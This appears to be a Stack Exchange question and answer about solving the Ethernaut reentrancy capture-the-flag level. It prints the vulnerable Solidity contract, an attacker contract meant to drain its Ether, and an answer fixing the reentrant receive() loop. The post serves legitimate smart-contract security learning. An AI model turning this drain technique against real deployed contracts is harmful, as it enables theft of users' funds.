0

I have been trying to pass the Reentrancy attack challenge of Ethernaut. Hence, I am creating this issue to ask help from anybody who knows where is the problem coming from.

First of all, here is the contract that I want to attack:

    // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

And now, this is the code I have written to steal all the available Ethers from the above contract:

pragma solidity 0.8.0;

contract Malicious {

  address public target;
  address payable public owner;

  constructor(address _destination) payable {
    target = _destination;
    owner = payable(0x61CC1f8d714451778e7A9bcf3dCeA6Dc4d10CB6e);
  }

  function acceptFunds() public payable {}

  function sendbackFunds() public {
    selfdestruct(owner);
  }

  function deposit() public payable {
    (bool success1, ) = target.call{value: 500000000000000000}(abi.encodeWithSignature("donate(address)", address(this)));
    require(success1, "Deposit did not succeed!");
  }

  function withdraw() public {
    (bool success2, ) = target.call(abi.encodeWithSignature("withdraw(uint)", 500000000000000000));
    require(success2, "Withdraw did not succeed!");
  }

  receive() external payable {
    (bool success, ) = target.call(abi.encodeWithSignature("withdraw(uint)", 500000000000000000));
    require(success, "Not successful!");
  }
}

As it is obvious, first i will fill my contract with some amount of Ethereum. Then I will execute deposit function which sends some predefined amount of Eth to the victim contract. At the end, I execute the withdraw function to make the victim contract stick in my virtual loop. However, while executing withdraw function of my contract I am given this error.

enter image description here

It is worth mentioning, I have used call method rather than ABI and Address of the target contract.

All in all, i cannot figure out why this error shows up whenever I try to pull my money out of the victim contract.

Thanks in advance

1 Answer 1

1

You forget the loop terminator in your code when you are trying to re-entrance.

receive() external payable {
    uint targetBalance = address(targetContract).balance;
    if (targetBalance >= targetValue) {
        targetContract.withdraw(targetValue);
    }
}

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.